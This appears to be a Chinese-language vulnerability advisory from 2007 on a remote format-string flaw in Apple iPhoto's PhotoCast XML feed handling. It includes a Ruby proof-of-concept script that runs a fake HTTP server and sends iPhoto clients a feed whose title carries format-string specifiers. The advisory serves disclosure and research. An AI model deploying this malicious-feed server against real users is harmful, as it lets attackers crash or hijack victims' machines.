安全研究
安全漏洞
Apple iLife iPhoto PhotoCast XML远程格式串处理漏洞
发布日期:2007-01-02
更新日期:2007-01-08
受影响系统:
Apple iLife iPhoto 6.0.5 (316)描述:
BUGTRAQ ID: 21871
Apple iLife iPhoto软件允许用户在网站上制作并分享照片页面。
iLife iPhoto在处理Photocast XML feed时存在格式串处理漏洞,远程攻击者可能利用此漏洞在用户机器上执行任意指令。
如果Photocast XML feed的“title”标签包含有特制的格式串标识符的话,则用户受骗订阅了该Photocast feed就会导致在客户端机器上执行任意指令。
<*来源:Kevin Finisterre (dotslash@snosoft.com)
链接:http://secunia.com/advisories/23615/
http://projects.info-pull.com/moab/MOAB-04-01-2007.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#
# (c) 2006 LMH <lmh [at] info-pull.com>
# bug by Kevin Finisterre <kf_lists [at] digitalmunition.com>
# proof of concept for MOAB-04-01-2007
# see http://projects.info-pull.com/moab/MOAB-04-01-2007.rb
require 'socket'
IPHOTO_FEED = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n" +
"<rss version=\"2.0\" xmlns:aw=\"http://www.apple.com/ilife/wallpapers\">\r\n" +
"<channel>\r\n" +
"<title>" + ("A" * 256) + "%x.%n.%n.%n.%n.%n</title>\r\n" +
"<item>\r\n" +
"<title>In Gruber We Trust</title>\r\n" +
"<aw:image>http://www.digitalmunition.com/digital_munitions_detonator.jpg\r\n" +
"</aw:image>\r\n" +
"</item>\r\n" +
"</channel>\r\n" +
"</rss>\r\n"
web_port = (ARGV[0] || 80).to_i
puts "++ Starting fake HTTP server at port #{web_port}."
web_server = TCPServer.new(nil, web_port)
while (session = web_server.accept)
user_agent = session.recvfrom(2000)[0].scan(/User-Agent: (.*)/).flatten[0]
session.print "HTTP/1.1 200/OK\r\nServer: Unabomber/1.0\r\n"
# Check if remote user-agent is iPhoto.
if user_agent.scan(/iPhoto/).size < 1
puts "-- User connected (#{session.peeraddr[3]}) but not running iPhoto, sending bullshit."
session.print "Content-type: text/plain\r\n\r\n"
session.print "All your Aunt Sophia are belong to us."
else
puts "++ iPhoto #{user_agent.scan(/iPhoto\/(.+?) /)[0]} user connected (#{session.peeraddr[3]}), " +
"sending payload (#{IPHOTO_FEED.size} bytes)."
session.print "Content-type: text/xml\r\n\r\n"
session.print IPHOTO_FEED
end
session.close
end
建议:
厂商补丁:
Apple
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.apple.com
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